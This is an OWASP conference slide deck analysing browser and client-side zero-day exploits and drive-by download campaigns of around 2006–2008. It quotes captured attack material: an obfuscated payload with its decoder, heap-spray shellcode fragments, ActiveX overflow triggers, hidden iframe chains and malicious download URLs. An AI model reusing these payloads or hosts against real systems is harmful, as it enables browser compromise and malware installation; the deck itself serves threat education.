Crossing the Chasm

Anatomy of Client-Side and Browser-Based Attacks

Dhruv Soi, Pukhraj Singh
OWASP Delhi Chapter
Vikriya Technologies
threatcenter@vikriya.com
+91-120-4545-100

The OWASP Foundation
http://www.owasp.org

Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
Who am I?

- Founder & Director
  - Vikriya
  - Torrid Networks
  - OWASP Delhi

- Past experience
  - Application Security Consultant – Fidelity Investments
  - Vulnerability Researcher – iPolicy Networks
Recent updates

- **OWASP AppSec India Conference 2008**
  - Schedule: 20th and 21st August 2008
  - Place: New Delhi, India
  - One day conference, one day multi-track training sessions
  - Participation from top 80 companies
  - 350+ conference participants
  - 250+ training participants
  - Participation from top govt. executives
  - Participation from neighboring countries
  - Renowned international speakers like Shreeraj Shah, Nish Bhalla, Mano Paul, Jason Li, etc.
Live Event!!

8AM – Registration Area

8:30AM – Registration Area

Conference Stage

Crowd at conference

Crowd at tea
Upcoming News

- OWASP AppSec Asia 2009 to be held in India
- Schedule: September 2009
- Organizing committee – Dhruv Soi, Puneet Mehta, Pukhraj Singh, Wayne Huang, Tim Bass, and more…

- Bigger and better!!
- Great line-up of speakers
- Bleeding-edge trainings
- Vast coverage
“Trust me, I know what I am doing.”

- Director, Products and Services at Vikriya
- Strategic Advisor at Torrid Networks
- Senior Threat Analyst at Symantec Canada
- Project Manager at Third Brigade
- Founder at SigInt Network Defense
- Security Researcher at Blue Lane Technologies
The bigger picture…
Where are we now?

An organizational perspective

- Organizations have understood the end-to-end picture.
- Security has become justifiable in business terms.
- ‘Proactive, preemptive and inclusionary’ is the motto.
- Resolution of RoI is still under experimentation.
- Quality of manpower has improved.
Where are we now?

An industry perspective

- The industry is back to basics.
- Witnessing a wide scale, two-pronged consolidation.
- Focus shifting from best-of-the-breed to contemporary.
- Upping the effort to build in-house, multi-vendor, wholesome solutions at lowest cost.
- Turnkey, productized-services are the way to go.
- Investment is scarce and returns are scarcer.
- Technical innovation has hit the glass-ceiling.
- Outsourcing is still problematic.
Where are we now?

A *technical* perspective

- The threat landscape has changed.
- The focus is completely crime-centric.
- The vulnerability-to-exploit cycle is miniscule or negative.
- The vendors have become responsible and mature.
- Haphazard laws and legal ramifications have added to the FUD.
Customers are getting smarter

2002

- Best-of-Breed Product 83%
- Suite 16%
- Both 1%

2005

- Best-of-Breed / Different Vendors 52%
- Multivendor Integrated Framework 37%
- Suite / Single Vendor 11%
Predicting the Threat Landscape

- Information Warfare
- "Cybercrime"
- "Hactivism"
- Vandalism
- Experimentation
The view from the foxhole…
WMF – Where it all began…

Timeline

- **October-December 2005**: Numerous versions of the private exploits were circulating in the wild already. The Russian mafia was selling ready-to-run malware versions for $4000.

- **27th December 2005**: The vulnerability details were disclosed publicly on a mailing list and working exploit was released.

- **29th December 2005**: Microsoft confirms the vulnerability, but no patch in sight. Numerous versions of the malware popping out every minute.

- **31st December 2005**: Ilfak Gulfikanov, an independent researcher, releases a unofficial patch for the vulnerability.

- **5th January 2006**: Microsoft breaks out from its patch release cycle under pressure and delivers the fixes (MS06-001).
WMF – Where it all began…

Technical details…

- WMF contains graphics functions and parameters used to render an image.

- The file has a main header (18 bytes), followed by one or more data records.

```c
typedef struct _WindowsMetaHeader
{
    WORD FileType; /* Type of metafile (1=memory, 2=disk) */
    WORD HeaderSize; /* Size of header in WORDS (always 9) */
    WORD Version; /* Version of Microsoft Windows used */
    DWORD FileSize; /* Total size of the metafile in WORDs */
    WORD NumOfObjects; /* Number of objects in the file */
    DWORD MaxRecordSize; /* The size of largest record in WORDs */
    WORD NumOfParams; /* Not Used (always 0) */
} WMFHEAD
```
A record is a binary-encoded function call to the MS-GDI. An integer identifies a specific GDI function, along with the parameters to that function.

To render, the library calls each GDI function specified in these records and passes the associated parameters.

typedef struct
{
    DWORD rdSize;   \x20\x00\x00\x00 rdSize
    WORD rdFunction; \x26\x06 rdFunction(0x0626)
    WORD rdParm[1]; \x09\x00 nEscape (SETABORTPROC)
} METARECORD;

int Escape( HDC hdc, int nEscape, int InDataSize, LPCSTR lpvInData,
            LPVOID lpvOutData );

Second, third, and the fourth parameters are directly supplied by the file.
WMF – Where it all began…

Technical details…

- SetAbortProc sets the application-defined abort function that allows a print job to be cancelled during spooling.

```c
int SetAbortProc( HDC hdc, ABORTPROC lpAbortProc );
```

- The second argument is a pointer to an arbitrary function.

- When WMF calls it, the function code is directly supplied as the last parameter.

- Rest is for your grandchildren…
WMF – Where it all began…

*Celebrating 0-day New Year*

Metasploit introduced compression, chunked encoding, dummy records evasion.

Targeted attacks came to the limelight.

Marked a milestone which changed the threat landscape.

Contemporary defense was about to become obsolete.
<SCRIPT LANGUAGE="JScript">
var rng = document.body.createTextRange();
if (rng!=null) {
alert(rng.htmlText);
}
</SCRIPT>

▶ *createTextRange* method returns the *TextRange* object for an HTML element.

▶ *TextRange* facilitates the retrieval and modification of the text content of the element.

*BODY, BUTTON, TEXTAREA, INPUT type=button, hidden, password, reset, submit, text*

▶ Not all INPUT types support the *TextRange* object, so the *createTextRange* object method may not be invoked.
IE CreateText 0-Day

*Upping the ante*

- `createTextRange` utilizes a function pointer stored in a structure belonging to the INPUT element.

- Not initialized properly if the INPUT type is not designed to use `createTextRange` (button, checkbox, image, radio).

- The pointer contains an arbitrary address that usually points to the heap.

- The value stored at that address is directly used as the address of a function.
The VML 0-Day

Setting the standard

- Rejected as a web standard and was replaced by the Scalable Vector Graphics (SVG).

```xml
<v:rect
  style='width:120pt;height:80pt'
  fillcolor="red">
  <v:fill
type="gradient"
  method="linear"/>
</v:rect>
```

- The "fill" sub-element describes how the drawn object should be filled.

- No bounds checking on the `method` attribute of the `fill`.

- Uses a fixed size stack buffer of 260 bytes.
The VML 0-Day
*Setting the standard*

- Ubiquitous attack vectors (HTML - Outlook, IE).
- *Method* could be anywhere.
- Scripting languages are a decoding nightmare.
- IPS groaned. AVs were doing second-stage detection.
- Exploit-facing protection was debunked.
The ANI 0-day
Things were never the same

- A graphics file format used for animated icons and cursors.
- Based on the RIFF file format, which is used as a container.
- RIFF is a generic meta-format for storing data in tagged chunks.

<table>
<thead>
<tr>
<th>Offset</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0000</td>
<td>4</td>
<td>Chunk Identifier</td>
</tr>
<tr>
<td>0x0004</td>
<td>4</td>
<td>Length (N)</td>
</tr>
<tr>
<td>0x0008</td>
<td>N</td>
<td>Chunk Data</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Offset</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0000</td>
<td>4</td>
<td>Chunk Identifier (&quot;RIFF&quot; or &quot;LIST&quot;)</td>
</tr>
<tr>
<td>0x0004</td>
<td>4</td>
<td>Length (N)</td>
</tr>
<tr>
<td>0x0008</td>
<td>4</td>
<td>Type Identifier</td>
</tr>
<tr>
<td>0x000C</td>
<td>N</td>
<td>subchunks</td>
</tr>
</tbody>
</table>

- Two Chunk Identifiers, "RIFF" and "LIST", contain subchunks.
- If the Type Identifier of "RIFF" chunk is "ACON", the file is an ANI cursor.
- Every ANI file has chunk with Chunk Identifier "anih" (36 bytes), containing summary description of the file.
The ANI 0-day
Things were never the same

```c
struct tagANIHeader {
    DWORD cbSizeOf; // Num bytes in AniHeader (36 bytes)
    DWORD cFrames; // Number of unique Icons in this cursor
    DWORD cSteps; // Number of Blits before the animation cycles
    DWORD cx, cy; // reserved, must be zero.
    DWORD cBitCount, cPlanes; // reserved, must be zero.
    DWORD JifRate; // Default Jiffies (1/60th of a second) if rate
        chunk not present.
    DWORD flags; // Animation Flag
} ANIHeader;
```

- Only the first “anih” chunk undergoes sanity checks.
- After the check, `LoadAnilcon` calls `ReadChunk`.
- `ReadChunk` copies each chunk into a stack-based buffer.
- `Length` determines the size of the buffer!
The ANI 0-day

*Things were never the same*

- Mind-bogglingly diverse attack vectors (HTML, attachments).
- The file extension could be changed.
- Even the preview functions are vulnerable.
- Actually, a bug which rose from its ashes.
- Mallet on the head of MS’ QA practices.
Shotgun Attacks, Drive-By Downloads

- The most business-savvy cyber-crime model.
- Heavy monetization. Arms bazaar.
- Used for plethora of nefarious activities – espionage, data thefts, bot herding, etc.
- Contemporary defense fails to provide protection.
- AV vendors are fooling you by providing reactive defense.
- Simple, precise, scalable, wide-scale, productizable.
The URL is encoded using a simple decimal representation method.

```
```

The second URL contains harmless-looking encoded data and a decoder.

```
hcgy4h3MuStdOOXlkb3_kbVF01v_fODy4h3MuSYdv1ON27D_eCD19AvQibV_ebDGaFQshsV7hZYnfOXyhaTdJw912nQ1P1Cl1CTdPARNfQQ1A29yh0Ed@7vQibV_ebDGEMVNO4ST79CvWwwrZ40Q14BQ7RCvxJMzMrAH7aw9ywwvxQ8Yy8AvxhJX1anQ7kaTdJwv19RAyROQ1RmA_Xbd_eB91Ow9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9doLwWwwrZ40Q14BQ7RCvxJMzQlXNhGrdha37hZYneh3xhZTDr3_0BvWiArFhFXsNh3N3NhXMR5Q1AsQsah9d0w9d
```

<truncated>
The decoding function was quite advanced, involving the use of a lookup table and a number of mathematical operations.

```javascript
function dc(x)
{
  var l=x.length, b=1024, i, j, u, p=0, s=0, w=0;
  t=Array(63, 37, 23, 57, 1, 6, 19, 50, 27, 12, 0, 0, 0, 0, 0, 0, 13, 10, 42, 46, 24, 45, 55, 43, 44, 15, 31, 53, 47, 34,
  33, 14, 25, 40, 7, 26, 41, 17, 56, 49, 8, 9, 39, 0, 0, 0, 0, 32, 0, 3, 30, 59, 48, 22, 20, 29, 2, 16, 4, 5, 35, 54, 58, 0,
  21, 61, 60, 51, 52, 18, 28, 11, 38, 36, 62);
  for(j=Math.ceil(l/b); j>0; j--)
  {
    u='';
    for(i=Math.min(l, b); i>0; i--, l--)
    {
      w=(t[x.charCodeAt(p++)]-48)<<s;
      if(s)
      {
        u+= String.fromCharCode(226^w&255);
        w >>=8;
        s-=2;
      }
      else
      {
        s=6;
      }
    }
    document.write(u);
  }
}```
Once run with the specified string, this decoding routine will write new content to the web site which exploits a number of vulnerabilities targeting Internet Explorer.

- Microsoft XML Core Service XMLHTTP ActiveX Control Remote Code Execution Vulnerability
- Microsoft MDAC RDS.Dataspace ActiveX Control Remote Code Execution Vulnerability
- Java Sandbox Privilege Escalation Exploit

- Downloads an executable QRhrTRWtr.exe, packed with FSG.
- Downloads another executable demo.exe, a variant of Infostealer.Bancos.
Shotgun – Orkut.com

- A encoded webpage points to a fake Orkut login.
- The login information is sent to the attacker.
- A variant of the Microsoft MDAC RDS.Dataspace ActiveX Control Remote Code Execution Vulnerability which downloads a known trojan.
ANI Exploitation
MS07-033 and Xunlei Shotgun

- The actual exploit was obfuscated six times!

- For the outermost layer of obfuscation, the attacker is using the `eval()` to evaluate the text as script code.

- The decoded script is divided into three portions that are being passed as arguments to the `document.writeln()` function. This function will write the HTML expressions in the current window.

- The resulting code is divided into two main portions. The first part is evaluating an expression encoded using the `escape()` function. This turns out to be a function doing mathematical substitution.

- Microsoft Internet Explorer Speech API 4 COM Object Instantiation Buffer Overflow Vulnerability
- Xunlei Web Thunder ThunderServer.webThunder.1 ActiveX Control Arbitrary File Download Vulnerability
Xunlei 0-Day - 1

Xunlei (Thunderbolt) is a popular Chinese peer-to-peer file-sharing application having a very wide user base.

Xunlei also provides an application called WebThunder, which is a simplified web-based alternative for the original application.

Upon installation, WebThunder installs and registers many COM objects.

The COM control ThunderServer.webThunder.1 fails to properly validate the supplied user input.

SetBrowserWindowData – Open a new browser window with a user-supplied URL.
SetConfig – Set up configuration parameters for the window.
HideBrowserWindow – Hide the newly opened browser window.
AddTask – Add a download task on the WebThunder task panel
SearchTask – Search for a task.
OpenFile – Open a file under the selected task. In this case, the name of the malicious file.
Xunlei 0-Day - II

- C:\Documents and Settings\All Users\Application Data\Thunder Network\KanKan\pplayer.dll_1_work

- FlvPlayerUrl()

The FlvPlayerUrl() method takes a single argument processed as Unicode and later copied into heap. At some point, a miscalculated or unbounded copy occurs, causing a portion of the heap to become corrupted.

- In some cases, exploitation was successful

- The trend of exploits for unknown vulnerabilities being posted to Chinese sites and is becoming increasingly common.

- We’ve observed similar attacks involving both GlobalLink and SSReader zero-day exploits.
Xunlei 0-Day - II


http://free.u-uuu.cn/error.htm

http://www.ghpjjh.cn/6.htm

http://ox.522love.cn/wn/333.htm

http://ox.1oxox.ch/ox1.htm

http://u.haom.us/u103/index.htm

http://u.haom.us/cs/index.htm

More iframes and Javascript

More iframes and Javascript

More iframes and Javascript

More iframes and Javascript
Xunlei 0-Day - II

```javascript
<SCRIPT language="JavaScript">
var expires = new Date();
expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);
var set_cookie = document.cookie.indexOf("say_hello=");
if (set_cookie == -1) document.cookie = "say_hello=1; expires=");
document.write('<object id="gl" classid="clsid:FOE70CEA-95
var helloworld2Address = 0x0c0c0c0c;
var shellcode = unescape("%4343%4343%4343%4343%4343%4343%4343%434
u0868%uf78b%u046a%ue859%u0043%u0000%uf9e%u6f68%u006e%u680
u20ec%udc8b%u206a%uff53%u0456%u04c7%u5c03%u2e61%uc765%u034
u8b10%50dc%uff53%u0856%u56ff%u510c%u8b56%u3c75%u748b%u782
u33c5%0f4b%u10be%ud63a%u0874%ucbc1%u030d%u40da%uf1eb%u1f3
u031c%u8b4b%u04%uc503%u5eab%uc350%u58e9%ufff%u8eff%u0e4
u2f1a%u6d70%u7474%u3a70%u2f23%u2e75%u6168%u5d62%u7528%u2f7

```

OWASP
GlobalLink Chat 0-Day

- GlobalLink GLItemCom.DLL ActiveX Control Unbound `strcpy()` inside the `SetInfo()` method.

- The last, and seventh argument, passed to the `SetInfo()` method is copied into an object of some kind and the buffer happens to be adjacent to at least one critical pointer.

- By supplying 40 bytes as the argument to the `SetInfo()` method, an attacker can corrupt what appears to be the pointer to a function table.

- The EAX register is controlled by the attacker.
GlobalLink Chat 0-Day

- This address is later used in a call to the first entry in the function table, which allows the attacker to in turn supply an arbitrary function pointer.

- If the attacker ensures that EAX references an address containing the address of their payload, then they can reliably execute arbitrary code.

- This is typically accomplished in the wild by employing a technique known as heap spraying, which fills a large portion of process memory with data in hopes that the payload will be stored at a predictable location.
SS Reader 0-Day

SSReader is an application that is designed to allow a computer user to read e-books, digital equivalents of conventional printed books. The application interface is designed to cater only to people who can understand the written Chinese language.

The vulnerability resides in the Register method of the SSReader Ultra Star Reader ActiveX Control pdg2.dll.

```csharp
[] I4 Register ([in] RegCode:Bstr, [in] UserName:Bstr )
```
SS Reader 0-Day

. text: 100201B0 Register proc near
...
.text: 100201B0
.text: 100201B0 push ebp
.text: 100201B1 mov ebp, esp
.text: 100201B3 sub esp, 256 ; Create 256 byte fixed stack buffer.
....
.text: 100201FF loc_100201FF:
.text: 100201FF push ebx
.text: 10020200 call ds:strlenW ; Get the length of the UserName argument.
....
.text: 10020211 call __alloca_probe ; Allocate space on the stack to hold the
.text: 10020211 ; multibyte version of the UserName argument.
.text: 10020211 ; (We will call this copy UserName_ANSI)
.text: 10020216 mov esi, esp
....
.text: 10020220 call ds:WideCharToMultiByte ; Copy the UserName argument into the
.text: 10020220 ; newly allocated stack buffer.
.text: 10020222E
.text: 1002022E loc_1002022E:
.text: 1002022E mov edi, esi ; edi points to UserName_ANSI string on stack.
.text: 10020230 or ecx, 0FFFFFFFFh
.text: 10020233 xor eax, eax
.text: 10020235 lea edx, [ebp+vulnerable_static_buffer]
.text: 1002023B repne scasb
.text: 1002023D not ecx ; Get the length of the UserName_ANSI string.
.text: 1002023F sub edi, ecx
.text: 10020241 mov ecx, ecx
.text: 10020243 mov esi, edi
.text: 10020245 mov edi, edx ; edi = vulnerable_static_buffer[256 bytes]
.text: 10020247 shr ecx, 2
.text: 1002024A rep movsd ; Copy the UserName_ANSI string into the
.text: 1002024A ; vulnerable 256 byte buffer.
.text: 1002024A ; This operation does not consider that the
.text: 1002024A ; target buffer is only 256 bytes and results
.text: 1002024A ; in process memory corruption.
SS Reader 0-Day

The exploit is 7bit-encoded, which serves to obscure the exploit text and helps prevent detection.
The variable declaration `var el1s2kdo3r = "hi1265369"` is interspersed throughout the script.

The shellcode array is also broken up by interspersing string-concatenation operators throughout, which is also a tactic to evade detection.

```javascript
window.onerror=function(){return true;}
<object classid='clsid:7F5E27CE-4A5C-11D3-9232-00C04B48A582' style='display:none' id='target'></object>
<script language="javascript">
    var el1s2kdo3r = "hi1265369";
    var shellcode = unescape("""""""""""""""""""");
</script>
```
Real Player ActiveX 0-Day

GET / HTTP/1.1
TE: deflate, gzip; p=0.9
Connection: TE, close
Host: www.tops100.org
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Length: 90476
Content-Type: text/html
Content-Location: http://www.tops100.org/default.html
Last-Modified: Tue, 03 Apr 2008 15:12:35 GMT
Accept-Ranges: bytes
ETag: "56a4d06a93b1195eb"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 03 Apr 2008 16:15:39 GMT

<iframe src="http://173.cncc.us/new173.htm" width="0" height="0"></iframe>

GET /new173.htm HTTP/1.0
Accept: image/gif, image/vnd.microsoft.icon, image/jpg, image/png, application/x-javascript, text/html, */*
Referer: http://www.tops100.org/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en-US; .NET)
Host: 173.cncc.us
Connection: Keep-Alive

HTTP/1.1 200 OK
Connection: keep-alive
Date: Thu, 03 Apr 2008 16:15:42 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Accept-Ranges: bytes
Content-Length: 158
Content-Type: text/html
Set-Cookie: ASPSESSIONIDADAKQPDAQCSMHJJELECAHLIPJHCGAALP; path=/
Cache-control: private

<iframe src="/x.html" width="0" height="0"></iframe>

<script>
    .wndw.onerror=function(){return true;}
    .wndw.status=...;
</script>

OWASP
Real Player ActiveX 0-Day

Instead of using the well-defined script API to write HTML code to the page, the attacker makes use of Document Object Model (DOM) indexing.

Accesses the parent object window and indexes the document subobject: window["document"].

It then references a method owned by the document object, by appending a second index: window["document"]["write"] causing the actual HTML code to be generated.
Real Player ActiveX 0-Day

The vulnerability involves the Console parameter of an ActiveX control within the rmoc3260.dll library. Version 11.0.1 (build 6.0.14.794) was reported vulnerable.
Another variant is encoded using the increasingly popular JavaScript Compressor engine. This tool, available online, packs a script in such a way that the resulting encoded script begins with function(p,a,c,k,e,d), making it easily identifiable.
Facebook ActiveX Attack
Facebook ActiveX Attack

- Facebook Photo Uploader 'ImageUploader4.1.ocx' FileMask Method ActiveX Buffer Overflow Vulnerability

- Yahoo! Music Jukebox 'mediagrid.dll' ActiveX Control Remote Buffer Overflow Vulnerability

- Yahoo! Music Jukebox AddImage Function ActiveX Remote Buffer Overflow Vulnerability

- Apple QuickTime RTSP URI Remote Buffer Overflow Vulnerability
Facebook ActiveX Attack

- Stack-based overflow in Aurigma ImageUploader4.1.ocx ActiveX control
MS DirectX 0-Day

<object classid="clsid:201EA564-A6F6-11D1-811D-00C04FB6BD36" id="DirectXSDK"></object>
var address = "\x41\x41\x41\x41";
while(address.length < 2088) address += address;
DirectXSDK.SourceUrl = address;

➤ Buffer-overflow in the 'DXTLIPI.DLL' included in the Microsoft DirectX Media SDK.

➤ DirectX Media SDK was deprecated 2002.

➤ The vulnerability affects the 'SourceUrl' property of the 'DXSurface.LivePicture.FLashPix.1' ActiveX control.

➤ SourceURL parameter of more than 2088 bytes results in the ECX register becoming corrupt and later causing a call to an attacker-supplied address.
MS DirectX 0-Day

```c
284.
285.function sdk_exploit()
286.{
287..if (isMemory == false ) makeMemory();
288..var tmp = "\xOA\xOA\xOA\xOA"
289..var tmp_size = 1044;
290..while(tmp.length < (tmp_size * 2)) tmp += tmp;
291..tmp = tmp.substring(0, tmp_size);
292..sdk.SourceUrl = tmp;
293..location.reload();
294.}
295.
296.function yahoo_exploit()
```
MS DirectX 0-Day

>[hxxp]://xpsite.org/load/index.php?wmid=8&pid=1
95eb8d5ef0ff76d9fcbe348a2185b4a51140ff5b

>[hxxp]://xpsite.org/load/index.php?wmid=9&pid=1
ed0ae96942b03ab9000e368e0dcbdbd8242b7524
MPack Exploitation Toolkit

*Cyber-crime at its best*

- Sold like commercial software ($500-$1000).
- Technical support, developer upgrades.
- Embed and enjoy!
- Has a management console and analytics interface.
# MPack Exploitation Toolkit

*Cyber-Crime at its best*

## MPack v0.86 stat

<table>
<thead>
<tr>
<th>Attacked hosts: (total/uniq)</th>
<th>Traffic: (total/uniq)</th>
<th>Country</th>
<th>Traff</th>
<th>Loads</th>
<th>Efficiency</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE XP ALL</td>
<td>Total traff: 53858 - 47831</td>
<td>RU - Russian federation</td>
<td>14223</td>
<td>1934</td>
<td>13.6</td>
</tr>
<tr>
<td>QuickTime</td>
<td>Exploited: 11961 - 10222</td>
<td>IL - Israel</td>
<td>3660</td>
<td>285</td>
<td>7.79</td>
</tr>
<tr>
<td>Firefox</td>
<td>Loader's response: 46.06% - 50.43%</td>
<td>IN - India</td>
<td>3275</td>
<td>568</td>
<td>17.34</td>
</tr>
<tr>
<td>Opera7</td>
<td>User blocking: ON</td>
<td>FR - France</td>
<td>2846</td>
<td>131</td>
<td>4.6</td>
</tr>
<tr>
<td></td>
<td>Country blocking: OFF</td>
<td>AU - Australia</td>
<td>2529</td>
<td>77</td>
<td>3.04</td>
</tr>
<tr>
<td></td>
<td>Efficiency: 10.25% - 10.78%</td>
<td>PL - Poland</td>
<td>2453</td>
<td>131</td>
<td>5.34</td>
</tr>
<tr>
<td></td>
<td></td>
<td>TR - Turkey</td>
<td>2013</td>
<td>259</td>
<td>12.07</td>
</tr>
<tr>
<td></td>
<td></td>
<td>UA - Ukraine</td>
<td>1905</td>
<td>288</td>
<td>15.12</td>
</tr>
<tr>
<td></td>
<td></td>
<td>BY - Belarus</td>
<td>1691</td>
<td>245</td>
<td>14.49</td>
</tr>
</tbody>
</table>
The Russian Business Network
*Cyber-Crime at its best*

- Organized cyber-crime conglomerate.
- Physically based in Russia.
- MPack, Storm Worm, Child Pornography, phishing, spam – you name it.
- International partners and affiliates.
- Provides safe haven and hosting for nefarious activities.
- Estimated revenues are > $150M.
- Untraceable in the physical realm.
- Owns an Autonomous System (AS40989)!
- Close synergy with mainstream mafia.
- Remember Storm Worm?
- Bank of India compromise.
बचके रहो!
Play safe!
注意安全!